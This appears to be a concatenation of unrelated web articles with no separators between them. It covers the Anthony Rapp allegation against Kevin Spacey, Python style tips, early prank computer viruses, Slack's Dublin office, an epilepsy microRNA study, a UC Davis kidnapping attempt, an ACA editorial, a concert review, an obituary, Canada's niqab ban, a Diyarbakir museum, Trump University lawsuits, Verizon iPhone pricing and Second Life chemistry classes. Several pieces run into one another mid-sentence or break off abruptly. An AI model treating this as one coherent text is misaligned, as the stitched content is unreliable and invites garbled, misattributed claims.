In an interview with BuzzFeed News, Rapp is publicly alleging for the first time that in 1986, Spacey befriended Rapp while they both performed on Broadway shows, invited Rapp over to his apartment for a party, and, at the end of the night, picked Rapp up, placed him on his bed, and climbed on top of him, making a sexual advance. According to public records, Spacey was 26. Rapp was 14...Spacey, he recalled, “sort of stood in the doorway, kind of swaying. My impression when he came in the room was that he was drunk.” Rapp doesn't remember Spacey saying anything to him. Instead, Rapp said, “He picked me up like a groom picks up the bride over the threshold. But I don't, like, squirm away initially, because I'm like, 'What's going on?' And then he lays down on top of me...He was trying to seduce me,” Rapp said. “I don't know if I would have used that language. But I was aware that he was trying to get with me sexually.” Rapp recalled this all happening — Spacey appearing at the door, coming into the room, picking him up, and putting him on the bed — in one clumsy action, with Spacey landing at a slight angle on top of him. He said Spacey “was, like, pressing into me,” and that he remembers Spacey “tightening his arms.” But while he can't recall exactly how long Spacey remained on top of him, Rapp said he was able to “squirm” away after a short period.
If you click through to the Buzzfeed piece, you'll see that they dug up some old photos of Rapp from the year in question. Clearly, this person could not have been mistaken for a consenting adult:
By the way, this is what Anthony Rapp looked like at age 14. He looked like the *child* that he was. pic.twitter.com/W61JgTRgEG — Guy Benson (@guypbenson) October 31, 2017
Rapp looked like a child. He was a child. Spacey was a 26-year-old adult man. At 26, most people have been out of college for four or five years; many are married with families. Some of the lame excuse-making I've seen floated on Spacey's behalf ("it was so long ago, and he was young himself, and had been drinking") cannot and should not fly. Confronted with this decades-old accusation, Spacey released the following statement on Twitter:
As I said on Kennedy's Fox Business Network show last night, this is "unbelievable, infuriating bulls***." Spacey doesn't deny Rapp's story, offers a quasi/hypothetical apology, blames his drunkenness, and adds -- oh, by the way, I'm gay! "Cynical and selfish" doesn't quite cover it, but it's a start. People do all sorts of things when they've had too much to drink, but a grown adult doesn't 'accidentally' sexually assault a high school student, especially a very young-looking freshman-aged kid. And using one's gay identity as a shield to deflect a serious criminal allegation is truly disgusting. This was a craven effort to pull a Jim McGreevey. Spacey waved a shiny object in front of the media to mitigate the impact of a real scandal, using the occasion of Rapp's allegation to come out publicly as gay for the first time. His aim, it seems, was to manipulate the media to run with that headline, or at least direct a substantial amount of attention away from the charge against him. In some quarters, it worked:
MEDIA: Why doesn’t the public trust us?
ME: Because this... pic.twitter.com/4A8zOEmcGB — Alex VanNess (@thealexvanness) October 30, 2017
And presto, "famous celebrity accused of attempted sexual assault against a child," gets at least partially eclipsed by, "famous celebrity comes out as gay." What a feel-good story. ABC's "emotional tweet" framing was especially gross. Sure, Spacey may have fed age-old ugly smears and stereotypes about gay men -- but, hey, at least he managed his own personal crisis. Thanks for nothing, Kevin. Then again, it may be a bumpy road ahead for Spacey, whose signature project has been cancelled, and against whom additional accusations may be forthcoming. It seems as though Spacey's proclivities were something of an open secret -- there's that term again -- in Hollywood, as evidenced by years-old jokes like this, and reactions like this (content warning):
u don't remember the incident - 30 years ago? - fuck u kevin - like Harvey we all knew about u - I hope more men come forward @KevinSpacey — ROSIE (@Rosie) October 30, 2017
Parting thought: Now that the Weinstein mess has opened the floodgates on Hollywood's culture of sexual depravity and exploitation (his story keeps getting worse), will the heavily-rumored abuse of children -- boys and girls alike -- by a cluster of powerful men start to spill out into the open?Every now and then Liraz and I find ourselves chatting about how much we love Python, but more so the lessons we have learned from coding, and how to apply them to create beautiful Python code. I've tried to refine some of the "lessons" into practical guidelines that I apply religiously to all new code I write, and the refactoring of old code I written.
When reading other peoples code it sometimes ties my mind into knots, and on occasions I want to pull my hair out in frustration and disgust. That's not to say I'm perfect, but hopefully these guidelines will benefit others (and indirectly help reduce my hair loss).
I couldn't possibly include everything I wanted to in one post, so this will be the first, and more will follow...
#1 - OO structure == Well defined mental concepts
Object Orientated structure should always map to well defined mental concepts in the problem domain. If you don't have a well defined mental model of the problem domain, start with that. Class Responsibility Collaboration (CRC) cards are really useful in this.
Basically you need a sketch of the architecture. What parts does your system have, what are their names, what does each part do? What parts is that part made out of? How do the parts interact with each other?
You can save quite a bit of effort if you come up with a good architecture up-front, but sometimes it may be easier to start without and figure it out a bit later after you have a bit more knowledge about the problem you are solving.
The rule is that the sooner you refine your architecture, the better. It is easy to dig yourself further and further into a complexity hole that makes restructuring very difficult later on. So do that as early as possible.
Refining the architecture is part of the "refactor mercilessly" rule.
#2 - Leverage built-in Python types
It is often a good idea to build on top of built-in Python types or at least emulate them.
The big advantage in building on top of Python's conventions is that you get to re-use Python's abstractions instead of reinventing your own. Python is famous for its minimal elegance, and the language designers take great care making small beautiful data structures. Making your code structures more Pythonic is a pretty good way to leverage the built-in elegance of the language while saving yourself quite a bit of work (inventing good abstractions is hard!).
If you've never inherited from a built-in data type, experiment with a small test case in a throw away script. This way you don't mangle your current project and you can be as experimental as you like.
Tip: Construction can be a bit trickier than a normal object if your initialization interface is different from the built-in type. In that case you'll need to override the __new__ magic method as well to call the __new__ constructor of the base class with different arguments than your __new__ is called.
For example:
class IntField(int): def __new__(cls, val, name): return int.__new__(cls, val) def __init__(self, val, name): self.name = name self.val = val int.__init__(self, val)
As for emulating built in types, Python provides magical method names for emulating any built-in behavior. See special method names for reference.
#3 - Use the class namespace, Luke!
Use the class namespace when defining class-level attributes and the instance namespace (which inherits from the class namespace on initialization) when defining instance level attributes.
For example, constants are always class level attributes because they are shared by all instances. On a practical level there are two reasons to do this:
Enable inheritance - you can't override instance level attributes, only class level attributes.
- you can't override instance level attributes, only class level attributes. Readability - code is communication. Setting an attribute at the class level or instance level is making a statement about the nature of that attribute, which makes the code easier to read and understand.
#4 - staticmethod vs. classmethod vs. regular method
Static methods are simpler and more readable than class methods because they don't have access to the class attribute, so it's easier to determine its input (i.e., arguments), and output (i.e., the return value).
Class methods are simpler than regular methods because the convention is that you don't usually manipulate attributes in the class namespace the way you would manipulate attributes in the instance namespace. So when you call a class method you know its not going to be sneaking around behind you back reading or writing to any instance level attributes set by other methods. The input for a class method is therefore the arguments it receives + class level constants. Its output is the return value.
A regular method is the most complex and easy to abuse type of method. Its harder for the programmer to see what the inputs for the method are, and what its output is.
Lets consider the following case: imagine a class in which all private methods are called without arguments and do not return output values. Instead, the private methods freely read and write to any attributes in self.
The problem with such a pattern, is that all methods have now become entangled in a spaghetti like dependency structure. The instance namespace in effect behaves like a global namespace and it becomes very difficult to understand methods in terms of input and output. Furthermore, the boundaries between methods can easily become fuzzy and unclear.
You must never ever do this (I have in the past, and I'm ashamed). If your code exhibits this pattern, go fix it, now!
Private methods have input arguments and return values for a reason. The instance namespace must only be used for instance level attributes which need to persist after a public method has been called.
Until it becomes second nature, these rules should help:
If a method doesn't need access to instance level attributes then it should be a class method, not a regular method.
If a method doesn't need access to class level attributes then it should be a static method, not a class method.
The Python ParadoxGenerally speaking, modern computer viruses have one purpose: Making money for some nefarious actor, whether it's by turning infected machines into link-clicking bots or demanding a ransom to free up a seized device. But there was a time — the mid-1990's — when viruses were more like pranks, spread via infected floppy disks instead of the Internet.
Above, check out what it looked like when a computer was infected with some of the earliest viruses. "Then, malware writers were writing PC viruses just as a hobby," says Finnish computer security expert Mikko Hyppönen, who provided the images to TIME. "They weren't trying to make money with the malware, they weren't trying to become famous. Their main motive was to do it just because they could, or to prank their victims."Would you put off hiring hundreds of people for your fast-growing tech company because the only offices available were on Dublin's northside? That's what Slack, the US-based booming messaging start-up, did.
Would you put off hiring hundreds of people for your fast-growing tech company because the only offices available were on Dublin's northside? That's what Slack, the US-based booming messaging start-up, did.
A year ago, the company set up a pilot office in Dublin 8's Digital Hub with an IDA-backed promise to grow to 100 people. But it stopped at 30 people - because the only expansion offices available were on the northside.
It waited almost a year in this holding pattern, despite an urgent need to staff up as its business grew rapidly.
Last week, the company finally announced an office relocation near Harcourt Street in Dublin 2. With its southside headquarters secured, it is now set to go on a hiring spree of up to 180 people.
Why did the company put off its own international expansion to avoid the northside?
"We wanted to have an office that represented the culture we want to foster," said James Sherrett, head of Slack's Irish operation. "We want our employees to thrive, to have great lifestyle options and commuter options. That means cafes to go out to, places to go after work, parks close by, good bike lanes, good places to walk."
This is one of the most oft-repeated rationales heard among tech companies establishing offices in Dublin, especially those in the web or digital sectors. Recruitment is competitive, executives say, and the location of one's office is a material factor in getting the kind of staff who can often have their pick of companies to work for. The more in-demand a role is, the more critical it is for companies to be in a top southside neighbourhood in the city.
But not all tech companies have this built-in bias. Even among multinational tech firms in Dublin, which have the strongest attachment to southside-only office strategies, there are outliers.
The multinational firm Workday's Irish office, led by confirmed southside Dubliner Annrai O'Toole, has set up in the northside's Smithfield area. This is despite having many of the trappings of US tech culture and some pretty high-end engineering jobs.
Is it because O'Toole is a Dubliner, and isn't afraid of northside streets?
When Stripe established its headquarters in San Francisco, the Collison brothers did so in the Mission district - then a slightly |
brain was engineered in such a way that it could be lowered with the antibiotic doxycycline.
Soreq, along with colleagues at Ben-Gurion University of the Negev in Israel and Dalhousie University in Canada, managed to suppress the excess of miR-211 in the transgenic mice by using doxycycline, which brought the levels to normal.
After 4 days, they recorded the mice's brain activity using electrocorticography. They found that the mice reacted to the miR-211-suppressing doxycycline by having nonconvulsive seizures, as well as by accumulating miR-134 in the forebrain.
Previous studies have suggested that miR-134 might be responsible for epileptic seizures.
The new study revealed that once they had their levels of miR-211 lowered, the mice showed signs of epilepsy and a propensity for convulsions. They displayed a hypersensitivity to compounds that induce epilepsy, such as the miR-134.
This suggests that miR-211 has a neuroprotective role and is key in preventing epileptic seizures in genetically modified mice.
"Dynamic changes in the amount of miR-211 in the forebrains of these mice shifted the threshold for spontaneous and pharmacologically induced seizures, alongside changes in the cholinergic pathway genes," Prof. Soreq explains.
As the authors note, previous studies have shown that miR-211 is high in people with Alzheimer's disease who are also at a higher risk of developing epilepsy. Therefore, the researchers believe that high levels of miR-211 may have the same protective effect in humans.
"It is important to discover how only some people's brains present a susceptibility to seizures, while others do not, even when subjected to these same stressors. In searching for the physiological mechanisms that allow some people's brains to avoid epilepsy, we found that increased levels of microRNA 211 could have a protective effect." Prof. Hermona Soreq
The scientists hope that their discovery will help the medical research community to develop new treatments for epilepsy. Such therapies might work by raising the levels of miR-211 in human brains.
Learn why some images cause seizures while others do not.DAVIS (CBS13) – The UC Davis Police Department is searching for a man suspected of trying to kidnap a 10-year-old girl Sunday afternoon on campus.
Police say the girl was walking in the Orchard Park area in the northwest corner of the campus around noon on Sunday when she was approached by a man on a bike.
The suspect asked her where her parents were. When she didn’t answer, he rode closer to her, reached for her and said, “Come home with me.” The girl then ran to her home in the family dormitories on campus.
The suspect is described as a white man, 19 or 20 years old. He had cloudy grey eyes, was wearing a yellow t-shirt, black shorts, black lace-up shoes and a black and orange baseball cap that was turned backwards.
He had several piercings in the upper part of his right ear and a black oval inserted earring in his left earlobe. He also had a round ring through the middle of his nose.
He had a rose tattoo on his left upper arm, a cross tattoo on his right outer forearm and a swastika tattoo on his left outer calf. Underneath the swastika he had “love” written in black pen.
He was riding a black mountain bike with white “Magna” written on it with no shocks.
He was last seen riding toward Russell Park.
Anyone with information is asked to call the UC Davis Police Department at (530) 752-1230.The House Republican plan to replace the Affordable Care Act has been handled like a state secret, and now we know why. According to estimates this week from the nonpartisan Congressional Budget Office, about 14 million Americans would lose health insurance coverage in just the first year and 24 million by 2026.
The Affordable Care Act definitely has problems, as we've pointed out on these pages before. But it has provided since its inception health coverage to millions of Americans. The new budget report makes it clear this reform plan isn't the way to go. Stripping millions of Americans of health care is a lose-lose situation - for both struggling Americans and for Republicans, who would go down in history as responsible for a health-care catastrophe.
As President Trump recently acknowledged, reforming the Affordable Care Act is complicated. He pledged in his speech to a joint session of Congress just two weeks ago to replace it with a plan that would give people cheaper insurance, better coverage, more choices, and a continued guarantee that pre-existing conditions won't deny anyone.
It's a tough needle to thread. Republicans do themselves and their country no favors by rushing forward with a plan that could turn already problematic patient care into a chaotic mess.Despite the sky threatening rain at every opportunity, it managed to stay off to keep the crowd that had packed into the Iveagh Gardens dry. Although maybe if it had of rained, they would have chatted less, who knows. The main event on Sunday evening was Damien Rice, one gig that was very much anticipated.
Opening the proceedings was a singer-songwriter called Bryan Dalton. As soon as he sat in front of the crowd, he shouted “Hi mum!” into the mic. Cue a middle-aged woman frantically jumping around as her son delivered some beautiful songs and a series of anecdotes that were genuinely smile-worthy. The crowd were more content to chat amongst themselves, a trend that seemed to continue throughout the night. After Dalton had departed, Colm Mac Con Iomaire and a collection of musicians took to the stage. Beautiful violin playing woven with intricate piano melodies provided a captivating show that was again lost on a crowd who only turned the volume up as time went on. This was frustrating for those trying to enjoy the opening acts and is something that noticeably irritated some people.
A few minutes later than scheduled, Damien Rice took to the stage. Songs like 9 Crimes, Amie and Elephant were unsurprisingly incredible, but the true gem of the night was Colour Me In. There’s something about Rice’s voice that sends shivers down your spine as the initially gentle vocals grow to create something truly stunning. However, this and some of the softer songs on the set were drowned out by the continuing chatter – it’d make you question if people were there for the gig or the inevitable Facebook check-in.
The one confusing thing throughout the night was the lack of accompanying musicians, it seemed to be a lot of stage for one man. The addition of a piano, backing vocals or virtually anything else would have elevated the quality of the show immensely. The use of backing tracks and distortion also didn’t work at all. There’s something about acoustic guitars and distortion that just doesn’t work well.
Issues aside, Damien Rice delivered a show that was full of heart, and the passion in his voice during every song and the enthusiasm of his anecdote telling was excellent. It was far from perfect, but hey, the best things in life are always a bit rough around the edges.DES MOINES, Iowa -- Former Iowa All-American quarterback Randy Duncan has died after a lengthy fight with cancer. He was 79.
Greg Brown, who along with Duncan started the Duncan, Green, Brown and Langeness law firm in 1992, confirmed to The Associated Press that Duncan died Tuesday night in Des Moines.
Duncan was perhaps the best quarterback the Hawkeyes have ever had. He was a two-time All-Big Ten selection, winning the Walter Camp Trophy as the nation's player of the year in 1958. Duncan capped his career by helping the Hawkeyes beat Washington 38-12 in the 1959 Rose Bowl. He was later named to the College Football Hall of Fame.
Duncan, who was 15-2-2 in two years as a starter, is also one of just nine former Iowa players inducted into the Kinnick Stadium Ring of Honor.
"The word `legend' is so often overused in sports. But in the case of Randy Duncan it fits perfectly," Hawkeyes coach Kirk Ferentz said. "He was one of the true Hawkeye legends, who served as an outstanding representative of Iowa football and the University of Iowa."
Duncan was the first pick in the 1959 NFL draft. He spurned the Green Bay Packers for the CFL, retiring in 1961 to pursue a law degree.
Duncan practiced law in Des Moines throughout his career.
"Randy was a Hawkeye icon because of his athletic accomplishments. But more importantly, a great husband, family man, and community leader who fought a great battle over the last few years. I'm honored to have known him," Iowa athletic director Gary Barta said."It is offensive that someone would hide their identity at the very moment where they are committing to join the Canadian family," he said earlier this year.
Prime Minister Stephen Harper has already said that covering one's face while taking the oath required to become a Canadian citizen is "not how we do things here."
In its ruling, the court deemed the ban "unlawful" — a decision that was met with swift condemnation from the Conservative government. And now, lawyers for Citizenship and Immigration Canada will fight to have its ban upheld by the Court of Appeal.
Last February, the Federal Court of Canada sided with Zunera Ishaq, a Pakistani Muslim woman who sued Canada's immigration ministry over a policy that requires new Canadians remove their face-covering veils — also known as a niqab — while taking their oath of citizenship. The 29-year-old says the niqab ban violates her religious belief that her face and hair must remain covered in the presence of men.
The showdown over Canada's ban on face-coverings during citizenship ceremonies takes center stage in an Ottawa courtroom tomorrow, for a case that has reignited a national debate about multiculturalism and religious freedom in the country.
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The showdown over Canada's ban on face-coverings during citizenship ceremonies takes center stage in an Ottawa courtroom tomorrow, for a case that has reignited a national debate about multiculturalism and religious freedom in the country.
Last February, the Federal Court of Canada sided with Zunera Ishaq, a Pakistani Muslim woman who sued Canada's immigration ministry over a policy that requires new Canadians remove their face-covering veils — also known as a niqab — while taking their oath of citizenship. The 29-year-old says the niqab ban violates her religious belief that her face and hair must remain covered in the presence of men.
In its ruling, the court deemed the ban "unlawful" — a decision that was met with swift condemnation from the Conservative government. And now, lawyers for Citizenship and Immigration Canada will fight to have its ban upheld by the Court of Appeal.
Prime Minister Stephen Harper has already said that covering one's face while taking the oath required to become a Canadian citizen is "not how we do things here."
"It is offensive that someone would hide their identity at the very moment where they are committing to join the Canadian family," he said earlier this year.
In its factum filed with the court, government lawyers defend the niqab ban, writing that the ministry's guidelines for citizenship ceremonies protect Canada's multicultural values.
The factum lists a number of situations in which it says Ishaq, who has been a permanent resident in Canada since 2008, has lifted her veil in public, including to have her driver's license and health card photo taken, as well as for her citizenship interview and airport screenings. It adds that Ishaq has refused their offer to conduct the oath in a section of the room where she would "not generally be seen by other participants during the very brief period of time when the oath was being recited."
But this does not ensure that she would be lifting her veil in private, away from men.
Related: Quebec Wants to Ban Religious Face Coverings for Government Workers
Immigration Minister Chris Alexander told VICE News this spring that if someone wants to become a Canadian, they have to be seen and heard taking the oath. "When you become a citizen, you don't get to dictate the rules. The rules apply equally to everyone...You don't get to come to Canada and decide the rules don't apply to you," he said.
In an op-ed Ishaq wrote for the Toronto Star in March, she says "I have taken my niqab off for security and identity reasons in every case where that's been required of me," such as taking a driver's license photo or going through airport security.
"I will take my niqab off again before the oath ceremony without protest so I can be properly identified. I will not take my niqab off at that same ceremony for the sole reason that someone else doesn't like it, even if that person happens to be Stephen Harper," she wrote.
Ishaq has also found a strong ally in the government of Ontario, which filed its own factum supporting her position to the court of appeal last week. It argues that requiring a Muslim woman to take off her niqab in order for her to take her citizenship oath "fails to respect and accommodate the diversity of religious beliefs and sociocultural backgrounds of Canadians."
Last week, it was revealed that another Muslim woman has also been fighting the government's niqab policy. Maiia Mykolayivna Zaafrane, of Montreal, filed a complaint to the Canadian Human Rights Commission in April 2014 against Citizenship and Immigration Canada, alleging that its niqab ban was discriminatory and violates the Canadian Human Rights Act. If the commission's tribunal agrees with her, she could receive compensation.
In June, the day the House of Commons broke for summer break, Canada's federal minister of state for multiculturalism tabled new legislation that would require someone to uncover their face when taking the oath of Canadian citizenship.
A poll conducted in March found that most Canadians agree with the Conservatives that women should not wear their niqabs while taking their citizenship oaths.
Follow Rachel Browne on Twitter: @rp_browne
Photo via Flickr user David DennisNow, sunlight streams through the prison building, revealing the Artuqid masonry exposed when the prison cells were demolished as part of an ongoing refurbishment project — conceived to draw tourism and jobs to the region during a hopeful period when fighting eased in the early part of this century.
In an adjoining building is the former headquarters of the Gendarmerie Intelligence and Anti-terror Organization, Jitem, a paramilitary intelligence service suspected in thousands of 1990s political murders. The partitions between offices have been torn out to reveal the mangers of cavalry horses stabled here in Ottoman times.
Restoration of nearby Ottoman-era courthouses and an Ottoman armory is nearly complete, while a 4th-century Byzantine church in the citadel, last used as a weapons depot by the Turkish Army, has already been expertly restored and readied as an exhibition space.
On completion, planned for the end of this year, the restored citadel will open to the public as one of the most ambitious archaeological museums in this part of the world.
“It is a conservator’s dream, a chance to showcase to the world the rich history of an 8,000-year-old living city,” Nevin Soyukaya, an archaeologist and the director of the Diyarbakir Museum, said in an interview this month.
Founded in neolithic times, as a tumulus overlooking the citadel attests, and known in antiquity as Amida, Diyarbakir is one of the oldest continually inhabited cities in the world.
Ruled at times by great empires like the Assyrians and the Byzantines, at other times by local dynasties, it stood at a crossroads of civilizations, linking Mesopotamia with the empires to the east and the north. Coveted, fought over and repeatedly changing hands, “Diyarbakir has always been able to blend the various cultures in its melting pot to create a culture all its own,” Ms. Soyukaya said.
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Her museum’s storerooms are overflowing with priceless artifacts unearthed in archaeological digs around the region, she said.
These will soon find a new home in the citadel. Besides an exhibition tracing the history of the city, the museum will house displays exploring the history of agriculture, whose origins in the area between the Euphrates and the Tigris date back thousands of years, as well as religion, architecture and other subjects, all illustrated by artifacts from the area.
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The museum complex will also include a conservation and restoration laboratory housed in the former prison; seminar rooms, workshops and an education center; and a restaurant and café. “We want this to be a community center, a living museum,” Ms. Soyukaya said.
But grim reminders of the past keep cropping up. This year, workers digging a ditch for the museum’s plumbing found human skulls and bones near the former prison’s walls. In all, the remains of 38 people were unearthed from the ditch, which remained cordoned off and guarded as a crime scene this month.
A forensic report commissioned by the prosecutor’s office last month said the bones were at least 100 years old, but many in the city are not convinced.
“I think my father’s bones may be there,” said Mr. Ozgen, the Diyarbakir resident. He said his father, Fikri Ozgen, was grabbed in the street outside his house by police officers and hauled away on the morning of Feb. 27, 1997.
“We never heard from him again,” said Mr. Ozgen, 44. But circumstantial evidence led him to believe, he added, that his father had been imprisoned in the citadel before being killed because a son, Mr. Ozgen’s brother, had joined the Kurdish rebels in the mountains.
“I have written to the Ministry of Culture asking it not to turn that site into a museum,” Mr. Ozgen said. “How could one visit such a museum?”
He has also applied to authorities for a DNA test to be performed on his blood and on the bones found in the citadel, but has had no answer. At the Diyarbakir branch of Turkey’s Human Rights Association, it is a familiar story. “We have received numerous calls from people whose fathers were taken away by Jitem in the 1990s and never seen again” and who now hope to find their remains in the citadel, Serdar Celebi, a lawyer and board member of the association, said in an interview this month.
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“But we have also received calls from others whose grandfathers went missing during the Sheikh Said rebellion,” he added, referring to a 1925 rebellion of Kurds against the Turkish Republic, which was quashed. “The courthouses were there at the time, too.”
Historians have raised another possibility: that the remains might be those of Armenians massacred in 1915.
“To us, the important thing is not so much which particular massacre these bones are from,” Mr. Celebi said. “The important thing is to face up to the fact that the state has always slaughtered people here.”
Still, Mr. Celebi’s association supports the plans for the museum in the citadel: “It’s a wonderful project, it can contribute to the recovery of this city by drawing tourists from Europe,” he said.
Work on the museum is to continue at full speed to meet the target of opening next year, even as forensic scientists work to ascertain the origins of the human remains, Turkey’s culture minister, Ertugrul Gunay, said in an interview in Istanbul last month.
“If they turn out to be victims of a massacre, we will definitely commemorate them with a plaque, a memorial site,” Mr. Gunay said. “But we are hoping it proves not to be so.”12967 SHARES Facebook Twitter Reddit Stumbleupon Pinterest
If you attended Trump University, odds are that you are not a big supporter of his presidential run. The now defunct Trump University was opened in 2005 with the promise to teach students real estate investing techniques. So through expensive courses, students could be just like him. Sounds like fun right?
According to Lab ProLib, in August of 2013, Attorney General Eric T. Schneiderman filed a lawsuit against Trump worth $40-million. They go on to report:
“The lawsuit seeks full restitution for the more than 5,000 consumers nationwide who were defrauded of over $40 million in the scheme, disgorgement of profits, as well as costs and penalties and injunctive relief prohibiting these types of illegal practices going forward.”
They also report that:
“Instead of providing all of the promised services, instructors used the three-day seminars to pitch consumers expensive Trump Elite mentorship programs costing $10,000 to $35,000. Trump University promised that the mentorships provided one-on-one training during which students would have personal assistance until they executed their first real estate deal and recouped the cost of the program.”
Adding insult to financial injury, the Trump University students were promised a visit with Trump himself. Instead, many just got a picture taken with a cardboard cutout of Trump.
In another report in 2014:
“A Manhattan state Supreme Court judge found Donald Trump personally liable for knowingly running his now-defunct Trump University without a license.”
Digging even further into the dealings of Trump University, the San Diego Union Tribune reported — just over a month ago — on two class-action lawsuits that have been going through the San Diego federal court for the last five years. To these lawsuits they report:
“One lawsuit was filed in 2010 by a handful of students who paid as much as $35,000 each to attend Trump University, which they claim was a sham “full of empty promises” and not as advertised.”
They also report that:
“A source with knowledge of the case said Trump was deposed last week.”
The second lawsuit consists of only one student and was filed in 2013. One has to wonder why this is not a bigger issue on the campaign trail. With all of the tension between Trump and Megan Kelly, maybe that’s why he is weary of facing her again. She might just have a few unexpected questions about his “University.”
Lastly, this is the man that wants to run the dealings of the country. How can we trust a man who can’t even run his own Trump University legally or ethically? While the other Republican presidential hopefuls are no prize either, Trump truly shows the pathetic arrogance – and above the law attitude – that many around the world despise us for.
This scam is finally catching up with Trump though. The case is being scheduled for trial and I’m sure his lawyers are scrambling to delay it.Verizon has confirmed to AppleInsider that the carrier will indeed be offering the iPhone 5 for just $100, but only to select customers as a promotional effort to encourage smartphone adoption.
A Verizon representative contacted AppleInsider to clarify the carrier's iPhone 5 pricing. The $100 pricing is not a deal that will be extended to all Verizon customers. It is, instead, an offer for specific customers that are off-contract or within two months of the end of their contract with a featurephone."It's a promotion," the spokesperson told AppleInsider. "Many of these customers have indicated through usage or wireless purchase patterns that they'd be interested in moving to a smartphone, and this is an exciting price point with an exciting phone."The spokesperson confirmed to AppleInsider that this is not an offer that will be appearing on Verizon's site. Instead, it will be accessible only through the My Verizon pages of eligible featurephone customers.Meanwhile, another source has provided AppleInsider with additional materials that may reveal how Verizon will go about offering the upgrade to featurephone customers. It would appear that the carrier will give the $100 discount via a bill credit for upgrading customers, according to what looks to be a pair of internal communications documents.Additionally, Verizon may be offering customers upgrading from a featurephone to an iPhone 4S a $50 credit. The documents indicate that this will be a limited time offer beginning on May 15 and running through June 30, 2013. The bill credit, according to the documents, will be applied to customers' accounts within 45 days.One document, which looks to be part of a PowerPoint presentation, notes that the offer will target 6.1 million customers. That makes up about six percent of Verizon's total customer base.AppleInsider attempted to verify the accuracy of these documents, and a representative for the carrier was unable to do so.On Wednesday morning, Verizon appeared to have jumped the gun on its website, posting the 16-gigabyte iPhone 5 for just $99.99 with the activation of a two-year contract. The price listing was visible for only a short time before reverting to the normal price point, but AppleInsider tipster Nicholas managed to grab a screenshot clearly showing the lower price.AppleInsider contacted Verizon for a response, but a representative for the carrier said that it does not respond to rumors.The iPhone 5 usually sells for $199 on Verizon with a two-year contract. Recent weeks, though, have seen rumors that the carrier was preparing to lop $100 off the cost of Apple's latest smartphone.A $100 price point would give Verizon the United States' largest carrier the lowest-costing iPhone 5 in the nation. Sprint also offers the opportunity to get an iPhone 5 for $100, but that is only after a $100 discount for porting an existing phone number to Sprint. T-Mobile debuted the iPhone 5 last month on its network for $99, but that introductory offer has since ended, and the Apple handset now costs $149.Verizon sold four million iPhones half of which were iPhone 5s in the most recent quarter, more than half the carrier's smartphone activations for the quarter and about one out of every nine iPhones sold worldwide. That figure was down from the holiday quarter, when Verizon sold 6.2 million iPhones, of which half were iPhone 5 units.Second Life’s role in eduction has been something of a focus of late. Earlier in April 2014 we had the 7th annual Virtual Worlds Best Practices in Education conference once again taking place in part in SL, and which featured the Lab’s CEO, Ebbe Altberg fielding a raft of questions from the audience. A recent segment from the Drax Files Radio Hour featured Liz Falconer, Professor of Technology Enhanced Learning at the University of the West of England (UWE), and Stylianos Mystakidis, E-learning Manager for the Library and Information Centre at the University of Patras, Greece.
Now the education theme continues with the latest instalment of The Drax Files, with a look at a unique experiment in learning being conducted by Wendy Keeney-Kennicutt of Texas A&M University and Kurt Winkelman from the Florida Institute of Technology, focused around students studying chemistry.
“Specifically with chemistry, Second life is an amazing thing. So much of chemistry is based on [the] shapes of molecules and understanding the 3D nature,” Wendy says of the in-world science classes she oversees, and why chemistry in particular is a good match for Second Life.
She also notes the collaborative nature of the environment for learning as well. “You can walk around the molecule, you can sit on the molecule, I have interactive periodic tables. You have your friend with you, and your friend doesn’t have to be sitting next to you looking at the screen. Your friend can be at home, you’re in school together, you come in together, you build together. That’s important for the learning process.”
Texas A&M University operates an impressive, multi-region faculty within Second Life, complete with a dedicated web page in the university’s Instructional Technology Services website. Within the faculty regions sits “Dr. K’s First Year Chem Program”, which offers a grounding in chemistry in an open-air, interactive environment. This is where Wendy teaches chemistry in a manner she notes – and despite the cost of SL regions – is apparently more cost-effective than purchasing dedicated modelling software, because SL offers a much more flexible working and creative environment than dedicated tools may provide, and can thus be better utilised to suit the needs of her students.
Up in the air above a portion of the faculty regions, and restricted to access by students, staff and invited guests, sit a number of research areas. It is here that Wendy, alongside Kurt Winkelman, studies the impact and effectiveness of teaching within a virtual environment when compared to more traditional classroom-based teaching. The study is funded by a National Science Foundation grant, and has grown out of a pilot programme run in the autumn of 2013.
For this work, Wendy uses two groups of students, each of whom is following the same course programme, with one group working in Second Life on the sky platforms, and the other working entirely in the real world. Within the virtual learning environment, efforts have been taken to present students with much the same requirements and activities their counterparts have to perform in the real world: gases must be handled, weighed, measured, etc., just as they do in a real-world lab in order for valid results to be obtained. The study is currently at the half-way mark, and due to complete in April 2015.
One of the interesting outcomes of the study is that those students in SL behave in very much the same way as those in the real world chemistry lab. The same caution and responsibility is demonstrated in handling and manipulating butane as would be expected in a real chemistry lab, despite the risk of injury resulting from the flammable nature of the gas obviously being non-existent in SL. This in turn has resulted in the students working within the SL environment to retain a kinesthetic ability in using and manipulating the science equipment which is on a par with that demonstrated by the students working the physical equipment.
More interestingly, the students working in the SL lab reported they enjoyed themselves far more there than in the real lab, and felt they were much more focused, and suffered from less distraction. Even their ability to read-back and interpret data appears to be significantly better than seen within the real lab.
The kinesthetic learning (also known as tactile learning, wherein the student learns by carrying out a physical activity) results evident in the programme are interesting, as are the overall results to date.
The findings so far released as a part of the study – notably the results of the pilot programme – tally very well with the benefits of situational learning discussed by Liz Falconer in episode 15 of The Drax Files Radio Hour, where she noted the benefits students experience through narrative learning.
While chemistry is more a procedural activity than a narrative undertaking, the approaches used in the SL environment point very strongly to students working within the environment reacting in a similar manner to those placed in situational learning environments: their kinesthetic abilities are sharpened, even though the level of interaction with the equipment they’re using is very different to that of the physical lab, as noted above. Also of interest is the observation made as a result of the pilot programme that the artificial nature of the SL environment caused the students to be more focused on procedure and technique, rather than on results – a very important aspect of research chemistry.
There is still another year to go with the primary study, but the results, as indicated by Wendy in the video, seem to be reflecting those obtained during the pilot programme. as such, it’ll be interesting to see what does emerge when findings are fully published. In particular, it’ll be interesting to see if the finding examine the role played by aspects such as the viewer UI in shaping students’ experiences and learning abilities in the SL-based environments (e.g. were better results obtained purely because students found the virtual environment a more enjoyable environment for learning, or because the nature of the viewer UI encouraged a greater need for focus and help eliminate more common elements of distraction among students?).
Towards the end of the video, Wendy (Julia Tiraxibar in SL) talks more broadly about the potential of Second Life for education and educators, and makes some interesting and valid points about students travelling around SL (remembering that we’re talking here about students 18 and over, and therefore with the freedom of movement we all enjoy in SL). Her remarks here match the common-sense attitude expressed by Liz Falconer in episode 15 of The Drax Files Radio Hour.
This is another excellent video segment, one which takes a slightly different tack to others in the series, but which again offers much food for thought and which certainly stands as a very focused piece which would appear to be ideally suited for helping promote SL within the education sector. As such, it is one I’d strongly encourage teachers and educators to bookmark and not be afraid to show to colleagues – and indeed, for students to put before their teachers and faculty staff.
